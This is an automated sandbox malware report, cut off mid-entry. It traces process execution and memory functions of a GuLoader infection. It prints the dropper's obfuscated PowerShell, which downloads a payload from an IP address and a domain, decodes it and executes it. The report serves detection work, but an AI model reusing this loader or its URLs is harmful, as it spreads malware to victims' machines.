;$Ristornos33=$byrendernes[$Shrimpish];}$Tedeummers=367459;$Formningernes=26860;Diagonalgade209 (Nordvest61 ' $sg l oTbUaOlE:TDKiBsTp.aIt.cBhP = SGAeBt - C,oGn t e n,tF O$.HPy p n,o tIiMs eMr.eKsQ ');Diagonalgade209 (Nordvest61 'P$Dg.l o,bBaGl,:,P aPl,a.ettAiBoTl oNgKiBcRa,l R=E C[WSByUsFt e m . C o,nSv e,rMt,].:E: FVr o mBBKaTsReB6C4 S t r.i.n.gP(F$sDPi sTpBa tMcShS), ');Diagonalgade209 (Nordvest61 'L$.g lFo b a l :BT,o.n i cta,lK =K [,STyFs,t e m .STMe x ta. E n.c,o dEi nVg.] :S: AAS.CGIII .EGPe t,S tTr.i,nPgF(B$KPPa lIa eLt i o lbo g i c a lc) ');Diagonalgade209 (Nordvest61 ' $GgAlEoMbAaTl :SKOaLnCdBiSd tSw r.=c$MTDoUnSiUc a lS.,s,u,b sHt.r iTn gO(S$,TEe dDeRuNm mSePr.sS, $.FAo,rAmanLi nFgVeAr n,eUsG) ');Diagonalgade209 $Kandidtwr;"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:45:29
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:45:31
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"
Imagebase:	0x7ff644460000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:45:39
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nordvest61 'B$Bg l,oFbAa.l :Ma nNi slu r i a,=A$Mt r u,e ') ;Diagonalgade209 $Packplane223;Diagonalgade209 (Nordvest61 ' SPt,aGrEtP- SSl e eTp. 4 ');Diagonalgade209 (Nordvest61 ' $Kg.l o b a,l : k lTa,p s.a lSv,e nN=g(,TBeAs tC-,PFa t hP E$EH y.pBn o tuiFsSeArTe s )S ') ;Diagonalgade209 (Nordvest61 'S$ g,l,oLbFa lM:AS hLrDi m pci.shhS= $Cg,lTo,b a,l :,V v ePsSt,o l.+C+.%A$Kb yTrUe n dTeRrVn,eAsA.Sc oLu,n,t ') ;$Ristornos33=$byrendernes[$Shrimpish];}$Tedeummers=367459;$Formningernes=26860;Diagonalgade209 (Nordvest61 ' $sg l oTbUaOlE:TDKiBsTp.aIt.cBhP = SGAeBt - C,oGn t e n,tF O$.HPy p n,o tIiMs eMr.eKsQ ');Diagonalgade209 (Nordvest61 'P$Dg.l o,bBaGl,:,P aPl,a.ettAiBoTl oNgKiBcRa,l R=E C[WSByUsFt e m . C o,nSv e,rMt,].:E: FVr o mBBKaTsReB6C4 S t r.i.n.gP(F$sDPi sTpBa tMcShS), ');Diagonalgade209 (Nordvest61 'L$.g lFo b a l :BT,o.n i cta,lK =K [,STyFs,t e m .STMe x ta. E n.c,o dEi nVg.] :S: AAS.CGIII .EGPe t,S tTr.i,nPgF(B$KPPa lIa eLt i o lbo g i c a lc) ');Diagonalgade209 (Nordvest61 ' $GgAlEoMbAaTl :SKOaLnCdBiSd tSw r.=c$MTDoUnSiUc a lS.,s,u,b sHt.r iTn gO(S$,TEe dDeRuNm mSePr.sS, $.FAo,rAmanLi nFgVeAr n,eUsG) ');Diagonalgade209 $Kandidtwr;"
Imagebase:	0x770000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.3001942781.0000000009B15000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:45:40
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Paraphysiferous.Mak && echo t"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B87B0F6 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3060666977.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a47313289d6344f88d07149fc0bf7d2a91ca0b91854df522405680b67b88803f
Instruction ID: fca1739b397e974605cafeb503ee3692586a8ec4625d31ee0df9f81127441ff0
Opcode Fuzzy Hash: a47313289d6344f88d07149fc0bf7d2a91ca0b91854df522405680b67b88803f
Instruction Fuzzy Hash: 51F1C730A0DA4E8FEBA8DF28C8657E937D1FF58314F04426EE85DC7295DB34A9418B81

Function 00007FFD9B87BEA2 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3060666977.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2d30660c9a2891870be5bc0a0ccd038bcd56002fcbda6bec24b959782a103e
Instruction ID: 237c3b48497a5b5ec12fb7d6a091e1a81c0a504f6c5e28003c7b9708c6d8bcd5
Opcode Fuzzy Hash: bf2d30660c9a2891870be5bc0a0ccd038bcd56002fcbda6bec24b959782a103e
Instruction Fuzzy Hash: 57E1B530A09A4D8FEBA8DF28C8A57E977D1FF58314F14426ED84DC72A5DF3899418B81

Function 00007FFD9B946609 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3061855016.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b13951c9519ace9ab231350d84182c052bbf76c9247071a027fb44e41a5daf18
Instruction ID: 5ad3e7075bd99ee513396596e90324f84002175806003ead3b7e4928ae6299a8
Opcode Fuzzy Hash: b13951c9519ace9ab231350d84182c052bbf76c9247071a027fb44e41a5daf18
Instruction Fuzzy Hash: 41E149B2B1EA9E1FEBA5DB6848746B47BE2EF55310F0901FAD05DC71F3DA18A9018301

Function 00007FFD9B947625 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3061855016.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe12f487084a23bf7d1eaf0478144a13d0baa3742ddb504f5eb7fc4286282e7
Instruction ID: e09914026d50227a30b83e30dd43848f550eb44ca080b5a3364f56c58c4f3692
Opcode Fuzzy Hash: ebe12f487084a23bf7d1eaf0478144a13d0baa3742ddb504f5eb7fc4286282e7
Instruction Fuzzy Hash: E9D1F632B1FAAE1FE7A59BA858645B47BE3EF55210B0901BBD05CC71E3ED1CAD058341

Function 00007FFD9B9467A7 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3061855016.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c9df3f7f9c7115a74851572354b21172a9c12dfeed5b2edc5ca0f67a6d0057
Instruction ID: 17cfd34aab395915687f6b6d9eae8e18defce8fecdde7076646d7e200548ecd9
Opcode Fuzzy Hash: 58c9df3f7f9c7115a74851572354b21172a9c12dfeed5b2edc5ca0f67a6d0057
Instruction Fuzzy Hash: 745104B2B2FADE1FE7A5EB6848705B46BD2EF55314B5900FAD05CC72E7DD28A8408301

Function 00007FFD9B947822 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3061855016.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9cbd8921c5b0f0811eb638efcc5e7909888a0d64b62ac6c387bfc5cd0367bb3
Instruction ID: 70ef6c55daab4975677bbd6ac380169c9f997208e46b9240d6a223381d689043
Opcode Fuzzy Hash: e9cbd8921c5b0f0811eb638efcc5e7909888a0d64b62ac6c387bfc5cd0367bb3
Instruction Fuzzy Hash: 04310832F2FAEE1BF3B69BA818B117867D3AF14654B5901BAD45CC71E3ED0C6900C242

Function 00007FFD9B873535 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3060666977.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 416d78af615282d572b3a414326c95b602a4a0825e38525b723d7405b764b34a
Instruction ID: da3f050f44eb51e87f3a01274eb59a9da2c6d49b0baea77ce0b69996023f08af
Opcode Fuzzy Hash: 416d78af615282d572b3a414326c95b602a4a0825e38525b723d7405b764b34a
Instruction Fuzzy Hash: F601677121CB0C4FD748EF0CE451AA5B7E0FB99364F10056DE58AC36A5DA36E982CB46

Analysis Process: powershell.exePID: 7668, Parent PID: 7456COMMON

Executed Functions

Function 0487F1F0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975243667.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 953dacba2af8f09f63aa9091180d396d57c1db55d0f080ad76277da1fec380c0
Instruction ID: 4d8eb2c88ccaadbbc3fafa7f5f0fbd1cd362473dde076c472339409646ff9880
Opcode Fuzzy Hash: 953dacba2af8f09f63aa9091180d396d57c1db55d0f080ad76277da1fec380c0
Instruction Fuzzy Hash: 24B17F70E00209CFDB10CFAAD99579DBBF2BF88314F148A29E615E7254EB74E841CB81

Function 0487FAC0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975243667.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83973b05c4af778da5255d93df2021d9fa27fc67d820d11409a0c77699944a08
Instruction ID: 6c0e91c1a860e94310058c2471b5293e1fab0407a0455416fa3a7cdfc90c15c8
Opcode Fuzzy Hash: 83973b05c4af778da5255d93df2021d9fa27fc67d820d11409a0c77699944a08
Instruction Fuzzy Hash: 06B18471E00209CFDB14CFAAD9A179DBFF2AF88314F148A29D615E7254EB74E845CB81

Function 076D7170 Relevance: 23.5, Strings: 18, Instructions: 1037COMMON

Download Yara Rule

Strings

4'dq, xrefs: 076D7879
(f%l, xrefs: 076D86D6
4'dq, xrefs: 076D72C9
4'dq, xrefs: 076D7A49
(f%l, xrefs: 076D8854
(f%l, xrefs: 076D879D
(f%l, xrefs: 076D865B
(f%l, xrefs: 076D8651
4'dq, xrefs: 076D72D5
4'dq, xrefs: 076D79D6
4'dq, xrefs: 076D79CA
(f%l, xrefs: 076D86CC
tPdq, xrefs: 076D7454
(f%l, xrefs: 076D884A
4'dq, xrefs: 076D7885
tPdq, xrefs: 076D7460
4'dq, xrefs: 076D7A55
(f%l, xrefs: 076D87A7

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$(f%l$(f%l$(f%l$(f%l$(f%l$(f%l$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$tPdq$tPdq
API String ID: 0-580305346
Opcode ID: f08177ebcd586e441ade69530ff17299fbbdb9b65365d0488010ff1fae1fd167
Instruction ID: 29a76aeabbd2b065475f2849b2a0ae30388a9ecd76dc8cde3fbc4bf0e8caf72e
Opcode Fuzzy Hash: f08177ebcd586e441ade69530ff17299fbbdb9b65365d0488010ff1fae1fd167
Instruction Fuzzy Hash: 0592BAB0F10219DFDB24CBA8C855BAEBBB2BF85314F1481A9D906AB741DB31DD41CB91

Function 076D3D38 Relevance: 15.5, Strings: 12, Instructions: 501COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D3E0E
$dq, xrefs: 076D41E8
4'dq, xrefs: 076D4252
$dq, xrefs: 076D418F
4'dq, xrefs: 076D4246
4'dq, xrefs: 076D3EB0
$dq, xrefs: 076D3E56
$dq, xrefs: 076D41F4
4'dq, xrefs: 076D404F
4'dq, xrefs: 076D3EBC
$dq, xrefs: 076D3E4A
4'dq, xrefs: 076D405B

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$4'dq$4'dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-745898724
Opcode ID: 1d46c0281a8f7a3399fd945b11aabd4788af9f37f1e480b2eda071963c5f383c
Instruction ID: 0fe25a790f0c3ba7b85a2a443997573d6cfb08a958e90a87a6d0d8651577a5f0
Opcode Fuzzy Hash: 1d46c0281a8f7a3399fd945b11aabd4788af9f37f1e480b2eda071963c5f383c
Instruction Fuzzy Hash: CBF1D8B1F2424ADFCB159B79D8506A7BFA1AF85210F2880AADC46CB391DF31CD45C762

Function 076D9230 Relevance: 13.0, Strings: 10, Instructions: 508COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D96AF
$dq, xrefs: 076D965F
4'dq, xrefs: 076D92A4
$dq, xrefs: 076D96A3
4'dq, xrefs: 076D92B0
$dq, xrefs: 076D96CB
$dq, xrefs: 076D967B
4'dq, xrefs: 076D9539
$dq, xrefs: 076D96BF
4'dq, xrefs: 076D9545

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-4287419856
Opcode ID: 243e36088db7c3c97a7f5d848f5e5ae8e4a70a2035d2359faa3ceb4f839fc65c
Instruction ID: 9e40ef02eded3a0afb28306fa9b7391c6209a9d1230a872dbe66defe56806855
Opcode Fuzzy Hash: 243e36088db7c3c97a7f5d848f5e5ae8e4a70a2035d2359faa3ceb4f839fc65c
Instruction Fuzzy Hash: 5DF106B1F243168FCB249BB994516ABBBE2EF85314F14807AD906CB391DB31ED41C7A1

Function 076D60C0 Relevance: 9.6, Strings: 7, Instructions: 833COMMON

Download Yara Rule

Strings

4'dq, xrefs: 076D63A4
(f%l, xrefs: 076D6BC6
(f%l, xrefs: 076D6BD0
(f%l, xrefs: 076D687C
(f%l, xrefs: 076D6886
(f%l, xrefs: 076D62BC
4'dq, xrefs: 076D63B0

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$(f%l$(f%l$(f%l$4'dq$4'dq
API String ID: 0-3630144593
Opcode ID: 4019fbb9f6e6fb822e3fb1d77cfbe4d0b4ac74fa59e995819b24f6e37c4114f9
Instruction ID: d00f9a58c53b55245c037b38e9f6f7ecef36bd8974e23966e6ec5502615fdf1d
Opcode Fuzzy Hash: 4019fbb9f6e6fb822e3fb1d77cfbe4d0b4ac74fa59e995819b24f6e37c4114f9
Instruction Fuzzy Hash: 9A724DB4F102099FD714CBA8C545AAABBB2FF89304F14D069E9099F755CB72EC46CB81

Function 076D8990 Relevance: 7.8, Strings: 6, Instructions: 339COMMON

Download Yara Rule

Strings

4'dq, xrefs: 076D8CAA
4'dq, xrefs: 076D8C2B
4'dq, xrefs: 076D8C1F
4'dq, xrefs: 076D8C9E
4'dq, xrefs: 076D8ABA
4'dq, xrefs: 076D8AC6

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$4'dq$4'dq
API String ID: 0-1060643940
Opcode ID: 9df2857ace8d32a0d1da6b2b94eba666cc0886a3a579289d98b4fe6f56ee056f
Instruction ID: 24af95671ce66ad3ec3b17c4d8a6c081e8afd4d0c3c168dd7a15455bca0d4425
Opcode Fuzzy Hash: 9df2857ace8d32a0d1da6b2b94eba666cc0886a3a579289d98b4fe6f56ee056f
Instruction Fuzzy Hash: D1D183B4E10209DBCB14DBA8C555BAEBBB2AF88304F14C069D9016F795CB76EC52CB91

Function 076D1D28 Relevance: 7.8, Strings: 6, Instructions: 336COMMON

Download Yara Rule

Strings

$dq, xrefs: 076D1E8E
$dq, xrefs: 076D1D5B
$dq, xrefs: 076D1D3A
4'dq, xrefs: 076D1EF1
4'dq, xrefs: 076D1EFD
$dq, xrefs: 076D1D69

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$$dq$$dq$$dq$$dq
API String ID: 0-547171449
Opcode ID: 26d0c57fa5f654849f2cf8bdabcf126e5031990767b80c1e9abb74ad60014774
Instruction ID: 18a2e2a63623aa9fe887d2b40dab445d48f4228794e1b16ae1143cdc79c4214e
Opcode Fuzzy Hash: 26d0c57fa5f654849f2cf8bdabcf126e5031990767b80c1e9abb74ad60014774
Instruction Fuzzy Hash: EBB118F1F2420D9FDB289B7998516ABFBE2FF86210F15806AD9068B341DB71CD41C7A1

Function 076DB0C0 Relevance: 5.6, Strings: 4, Instructions: 587COMMON

Download Yara Rule

Strings

4'dq, xrefs: 076DB558
4'dq, xrefs: 076DB408
4'dq, xrefs: 076DB562
4'dq, xrefs: 076DB3FE

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq
API String ID: 0-2296240322
Opcode ID: 6084a3c6db457cf374d9283b9bfc89e532d8751fb48ad9c52331b8a2f83e1388
Instruction ID: 280c0dbdf1a30cf41fecf5ea577e976c6e1416dcd5fbb25c3d80b4550f439b38
Opcode Fuzzy Hash: 6084a3c6db457cf374d9283b9bfc89e532d8751fb48ad9c52331b8a2f83e1388
Instruction Fuzzy Hash: 7A1238F2F242459FCB159B7888117BBBBA2AFC1310F15807AD90ACB749DA31CD52C7A1

Function 076D7B83 Relevance: 5.4, Strings: 4, Instructions: 395COMMON

Download Yara Rule

Strings

(f%l, xrefs: 076D7ECE
4'dq, xrefs: 076D7DF4
(f%l, xrefs: 076D7EC2
4'dq, xrefs: 076D7DE8

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$4'dq$4'dq
API String ID: 0-4194070626
Opcode ID: 949df73f940f9b3ba686338e83ec9d90e1793d5213aad22a92db3fadcb3377da
Instruction ID: 579f0cb094b1925af6a61413456b6e9601214f323e08c71bd6a371d9d0f6ed7d
Opcode Fuzzy Hash: 949df73f940f9b3ba686338e83ec9d90e1793d5213aad22a92db3fadcb3377da
Instruction Fuzzy Hash: DFF187B0E10119DFDB24DB68C951BAEBBB3AF84304F1080A5DA09AF795DB71DD818F91

Function 076D6D68 Relevance: 5.3, Strings: 4, Instructions: 275COMMON

Download Yara Rule

Strings

(f%l, xrefs: 076D6EAC
(f%l, xrefs: 076D6F9F
(f%l, xrefs: 076D6F95
(f%l, xrefs: 076D6EA2

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$(f%l$(f%l
API String ID: 0-3942150577
Opcode ID: 519b78cee49367d3f3c7192b05b6469bb9147f79d6ef8f44a20cacb3a17c0a10
Instruction ID: a903e167ca8c2dd9f23a2287917a6cb2aadc43ab8658fd2ffac582452dcc7b99
Opcode Fuzzy Hash: 519b78cee49367d3f3c7192b05b6469bb9147f79d6ef8f44a20cacb3a17c0a10
Instruction Fuzzy Hash: 38B182F0F10205DBD714DBA8C851BAEBBE3AF88344F548069E901AF795CB72EC518B91

Function 08373D88 Relevance: 4.5, Strings: 3, Instructions: 716COMMON

Download Yara Rule

Strings

d%jq, xrefs: 08373E1A
d%jq, xrefs: 08373E24
d%jq, xrefs: 083740D4

Memory Dump Source

Source File: 00000004.00000002.3000348018.0000000008370000.00000040.00000800.00020000.00000000.sdmp, Offset: 08370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_8370000_powershell.jbxd

Similarity

API ID:
String ID: d%jq$d%jq$d%jq
API String ID: 0-148305322
Opcode ID: 62f4a5c8487d96048494a6123bd6cbd18dc1f971570bbe090e51257902563217
Instruction ID: 2a344a49b6c5c1541b25bc6b6be42d4e44886f3da3a1425d569593b188388435
Opcode Fuzzy Hash: 62f4a5c8487d96048494a6123bd6cbd18dc1f971570bbe090e51257902563217
Instruction Fuzzy Hash: D9623A75A00219DFDB15CF98D484AAEFBB2FF88310F298559E804AB355C735ED82CB94

Function 076D60BE Relevance: 4.4, Strings: 3, Instructions: 637COMMON

Download Yara Rule

Strings

4'dq, xrefs: 076D63A4
(f%l, xrefs: 076D687C
(f%l, xrefs: 076D62BC

Memory Dump Source

Source File: 00000004.00000002.2996826390.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (f%l$(f%l$4'dq
API String ID: 0-2164070612
Opcode ID: 8be0e2edee0ece73072ce882d3c4393d57acbabafbe2a8c3c202b06735ca9f38
Instruction ID: 517c773c371b2a532d4300fa4ddf5d87f4082ce1d3edc17cb2094716e69db464
Opcode Fuzzy Hash: 8be0e2edee0ece73072ce882d3c4393d57acbabafbe2a8c3c202b06735ca9f38
Instruction Fuzzy Hash: 5D424BB4A10205DFDB10CB58C545AA9BBB2FF89314F14C099E90AAF755CB72ED46CF81

Function 0487BB00 Relevance: 4.3, Strings: 3, Instructions: 518COMMON

Download Yara Rule

Strings

$dq, xrefs: 0487C07F
Hhq, xrefs: 0487BBC6
$dq, xrefs: 0487BD1A

Memory Dump Source

Source File: 00000004.00000002.2975243667.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4870000_powershell.jbxd

Similarity

API ID:
String ID: Hhq$$dq$$dq
API String ID: 0-168769910
Opcode ID: 2a67b7ce75685a56620d153095f78bd934137acf3d993e921f7a3ac739728b41
Instruction ID: 71cfadf0b390785cf2ceb49e6212dc11d42d80f02e2dbd263cc3a191241483fe
